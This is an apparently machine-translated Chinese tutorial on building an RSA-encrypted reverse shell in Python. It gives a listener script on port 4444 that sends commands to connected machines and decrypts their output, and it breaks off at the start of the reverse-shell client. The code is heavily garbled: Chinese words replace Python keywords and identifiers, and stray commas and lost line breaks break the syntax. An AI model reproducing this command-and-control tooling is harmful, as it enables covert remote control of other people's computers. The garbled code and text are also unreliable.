如何使用RSA加密在Python中逆向壳

  介绍

本篇内容主要讲解”如何使用RSA加密在Python中逆向壳”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习”如何使用RSA加密在Python中逆向壳”吧!

使用RSA加密在Python中逆向壳牌

首先,我们需要一个侦听器来处理所有传入的连接。这是listener_rsa.py的代码

 # !/usr/bin/pythonfrom  Crypto.PublicKey  import  RSAfrom  Crypto  import  Randomfrom  Crypto.Hash  import  SHA256import  socketfrom  thread  import  * import  sysimport 泡菜# Generate  public  key 以及private  keyrandom_generator =, Random.new .read ()
  时间=key  RSA.generate (2048, random_generator)
  时间=public_key  key.publickey () # Create  socket 以及bind 用accept  connectionss =, socket.socket (socket.AF_INET, socket.SOCK_STREAM)试题:
  ,,,s.bind ((“0.0.0.0",, 4444)) except  socket.error,, v:
  ,,,print “Binding 失败只Error  code ,:,“, +, str (v [0]), +,“, Message “, +, v [1]
  ,,,sys.exit () 
 print “Socket  bind  complete" s.listen (2) print “[+], Listening 用,incoming  connection 提醒port  4444…“def  clientthread_sendpublickey(客户端),:,,,,client.send (pickle.dumps (public_key)) def  clienthandle(客户端),:,,,,while  True :
  ,,,,,,,command =, raw_input (~ $ & # 39; & # 39;)
  ,,,,,,,client.send(命令)
  ,,,,,,,if  command ==, & # 39;退出# 39;,:
  ,,,,,,,,,,break ,,,,,,, buf =, client.recv (2048)
  ,,,,,,,encreply =, pickle.loads (buf)
  ,,,,,,,print  key.decrypt (encreply) while 正确的:
  ,,,(客户,,(ip,端口)),=,s.accept ()
  ,,,print “Received  connection 得到:,“,ip
  ,,,start_new_thread (clientthread_sendpublickey,,(客户))
  ,,,print “Public  Key  sent  to" ip
  start_new_thread(clienthandle, (client,))

我在Python中使用PyCrypto模块进行加密。 继续安装它。 我建议使用pip来安装模块。

$ sudo pip install pycrypto

在我们进入代码之前,让我向你解释一下RSA加密及其密钥。 RSA是一种非对称加密标准。 它有两个键,公共和私有。 简单来说,公钥用于加密消息,私钥用于解密。 下面是描述该过程的框图

如何使用RSA加密在Python中逆向shell

如果你对RSA的数学工作感兴趣,那么我建议你阅读http://mathworld.wolfram.com/RSAEncryption.html(当心,仅限极客)

在上面的程序中,首先生成密钥,该密钥也是私钥。

key = RSA.generate(2048, random_generator)

函数RSA.generate有两个参数,第一个是以位为单位的密钥的大小,第二个是通常使用python随机函数生成的随机数。 在创建私钥之后,从中提取公钥并将其存储在变量中以供将来使用。

public_key = key.publickey()

使用套接字模块创建套接字,这相对简单。 你可以参考Python套接字1的官方文档,甚至可以进行简单的Google搜索。

套接字绑定并等待连接传入连接。

注 - 如果要将Linux中的套接字绑定到小于1024的端口,则必须以root身份执行该脚本。

当收到连接时,初始化新线程以将生成的公钥发送到客户端,以便它可以加密回复。

def clientthread_sendpublickey(client) :client.send(pickle.dumps(public_key))

我们为什么要用Pickle? Pickle用于序列化和反序列化python对象。 由于public_key不是常规字符串,因此必须对其进行pickle,然后将其发送到接收方。

警告 - pickle模块不能防止错误或恶意构造的数据。 切勿取消从不受信任或未经身份验证的来源收到的数据。

一旦发送了公钥,另一个线程clienthandle(客户端)被初始化为True:loop,它发送给接收者的命令。 接收器运行命令并使用公钥加密输出。 然后将输出的pickle发送给监听器。

回复是unpickled,使用私钥解密并打印在屏幕上。

encreply = pickle.loads(buf)print key.decrypt(encreply)

如果给出'quit'命令,则终止连接。

反向shell

让我们转到反向shell所在的接收器端。 reverse_shell_rsa的脚本如下所示

#!/usr/bin/pythonimport socket, subprocess, sys
  得到Crypto.PublicKey  import  RSA
  得到Crypto.Hash  import  SHA256import 泡菜

如何使用RSA加密在Python中逆向壳